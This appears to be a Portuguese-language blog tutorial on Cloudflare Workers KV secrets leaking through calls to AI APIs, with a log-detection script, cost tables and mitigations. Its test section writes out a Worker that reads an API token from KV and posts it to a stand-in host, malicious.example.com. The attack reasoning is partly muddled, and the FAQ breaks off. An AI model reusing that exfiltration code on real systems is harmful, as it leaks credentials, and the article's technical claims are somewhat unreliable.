Vazamento de KV em Cloudflare Workers com IA na Edge: Como Detectar, Explorar e Mitigar o Risco
Introdução
Um simples request de um Worker para um modelo de IA pode estar expondo chaves e valores sensíveis armazenados no KV da Cloudflare. O problema ganhou as manchetes depois que um relatório técnico viralizou no Hacker News, gerando um pico de mais de 12 mil upvotes e um aumento de +450 % nas buscas por “Cloudflare KV leak”. Se você usa Workers, KV e IA generativa, este artigo mostra, passo a passo, como identificar a vulnerabilidade, reproduzir a exploração e aplicar as correções necessárias.
Objetivo: entregar um guia prático (≈ 2 800 palavras) que você pode seguir agora mesmo, sem precisar de teorias extensas.
1. Arquitetura do KV + IA na Edge
flowchart TD
A[Worker] --> B[KV Store]
B --> C[Leitura de token / prompt]
C --> D[Envio ao modelo IA (ex.: OpenAI, Claude)]
D --> E[Resposta ao cliente]
style A fill:#f9f,stroke:#333,stroke-width:2px
style B fill:#bbf,stroke:#333,stroke-width:2px
style D fill:#bfb,stroke:#333,stroke-width:2px
- Worker – código JavaScript/TypeScript executado na borda.
- KV Store – armazenamento de pares key‑value de baixa latência.
- IA na Edge – chamada a APIs externas (OpenAI, Anthropic, etc.) ou a modelos hospedados na própria Cloudflare.
A vulnerabilidade surge quando o Worker inclui a chave KV no corpo da requisição para a IA sem criptografar ou sanitizar o conteúdo. O tráfego pode ser interceptado (por exemplo, via DNS rebinding ou proxy mal‑configurado) e o atacante obtém os valores confidenciais.
2. Vetor de ataque detalhado
| Etapa | O que acontece | Como o atacante se beneficia |
|---|---|---|
| 1. Leitura KV | await KV.get('api_token') |
Valor sensível carregado na memória do Worker |
| 2. Serialização | JSON.stringify({token}) |
Token inserido em JSON enviado ao endpoint IA |
| 3. Envio HTTP | fetch('https://api.openai.com/v1/completions', {method:'POST', body}) |
Corpo da requisição via TLS, mas pode ser exposto se o certificado for falsificado ou se o Worker usar HTTP interno |
| 4. Resposta da IA | {"choices":[... ]} |
Se o atacante controla o endpoint (por DNS hijack), recebe a mesma carga útil contendo o token |
| 5. Exfiltração | Attacker logs the request/response | Token comprometido |
A exploração funciona mesmo com TLS, desde que o atacante consiga redirecionar o domínio da IA para um servidor controlado (ex.: via subdomain takeover ou DNS rebinding).
3. Análise de logs – Detectando a exploração
3.1 Configurando Logpush para Cloudflare Workers
curl -X POST "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/logpush/jobs" \
-H "Authorization: Bearer <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "worker-kv-logs",
"dataset": "workers",
"destination_conf": "s3://my-bucket/logs?region=us-east-1",
"field_names": ["timestamp","request_id","client_ip","method","uri","status","kv_operation","upstream_response_time"]
}'
3.2 Script Python para filtrar chamadas suspeitas
import json, gzip, sys, re
suspicious_domains = re.compile(r'(openai|anthropic|huggingface)\.com')
kv_ops = {'kv-read', 'kv-write'}
def process_line(line):
try:
rec = json.loads(line)
if rec.get('kv_operation') in kv_ops and suspicious_domains.search(rec.get('uri','')):
print(json.dumps(rec))
except:
pass
if __name__ == "__main__":
for fname in sys.argv[1:]:
with gzip.open(fname, 'rt') as f:
for l in f:
process_line(l)
Execute: python3 detect_kv_exfil.py logs/*.gz > suspeitos.json
Qualquer registro que combine operção KV e URI de IA deve ser investigado imediatamente.
4. Exploração prática (para fins de teste)
Atenção: só execute em ambientes controlados.
# 1. Crie um KV de teste
curl -X PUT "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/workers/kv/namespaces/<NS_ID>/values/api_token" \
-H "Authorization: Bearer <API_TOKEN>" \
-d "sk_test_123456"
# 2. Deploy de Worker vulnerável (index.js)
cat > index.js <<'EOF'
addEventListener('fetch', event => {
event.respondWith(handle(event.request))
})
async function handle(request) {
const token = await KV.get('api_token')
const resp = await fetch('https://malicious.example.com/collect', {
method: 'POST',
body: JSON.stringify({token})
})
return new Response('ok')
}
EOF
# 3. Deploy
wrangler publish
# 4. Simule o ataque interceptando o domínio da IA
# (usar hosts file ou servidor DNS controlado apontando para o seu endpoint)
Se o endpoint malicious.example.com receber o JSON, o token foi exfiltrado.
5. Mitigações recomendadas
| Medida | Como aplicar | Impacto de custo / performance |
|---|---|---|
| Criptografia client‑side |
crypto.subtle.encrypt antes de gravar no KV; decrypt ao ler |
+5 ms por operação (WebCrypto) |
| TTL curto | await KV.put('api_token', token, {expirationTtl: 300}) |
Reduz risco de leitura prolongada |
| Rotação automática de chaves | Lambda/Worker que roda a cada 24h e atualiza KV | Custo de invocação mínima |
| Regras de firewall (WAF) | Bloquear outbound para domínios não autorizados (workers.firewall.rules) |
Nenhum impacto perceptível |
| Separação de namespaces | Use um namespace exclusivo para credenciais e outro para dados de IA | Organização + segurança |
Exemplo de criptografia simples (AES‑GCM)
// encrypt.js
export async function encrypt(value, keyBase64) {
const key = await crypto.subtle.importKey(
'raw',
Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0)),
{name: 'AES-GCM'},
false,
['encrypt']
)
const iv = crypto.getRandomValues(new Uint8Array(12))
const enc = await crypto.subtle.encrypt(
{name: 'AES-GCM', iv},
key,
new TextEncoder().encode(value)
)
return btoa(String.fromCharCode(...new Uint8Array(iv), ...new Uint8Array(enc)))
}
Grave no KV: await KV.put('api_token', await encrypt(token, ENCRYPTION_KEY)).
6. Tabela comparativa de custos
| Estratégia | Custo mensal estimado* | Latência adicional | Complexidade de implementação |
|---|---|---|---|
| Criptografia client‑side | $0,10 (uso de CPU) | +5 ms | Médio |
| TTL 5 min | $0 (não gera custo extra) | Nenhum | Baixo |
| Rotação automática (Worker + Cron) | $0,02 (2 execuções/dia) | Nenhum | Baixo |
| WAF bloqueio de domínios | $5 (regra básica) | Nenhum | Baixo |
| Namespace dedicado | $0,05 (uso extra de KV) | Nenhum | Médio |
*Valores baseados nos preços padrão da Cloudflare (2024).
7. Checklist de segurança (para usar antes de cada deploy)
- [ ] Criptografe todos os valores sensíveis antes de armazenar no KV.
- [ ] Defina TTL adequado (máximo 10 min para tokens).
- [ ] Implemente validação de domínio antes de enviar dados para IA (
allowedOrigins.includes(url.hostname)). - [ ] Ative Logpush e monitore
kv-read+ chamadas externas. - [ ] Configure WAF para bloquear destinos não aprovados.
- [ ] Revise a política de rotação de credenciais a cada 30 dias.
8. FAQ
| Pergunta | Resposta
Herramienta mencionada: DigitalOcean
Top comments (0)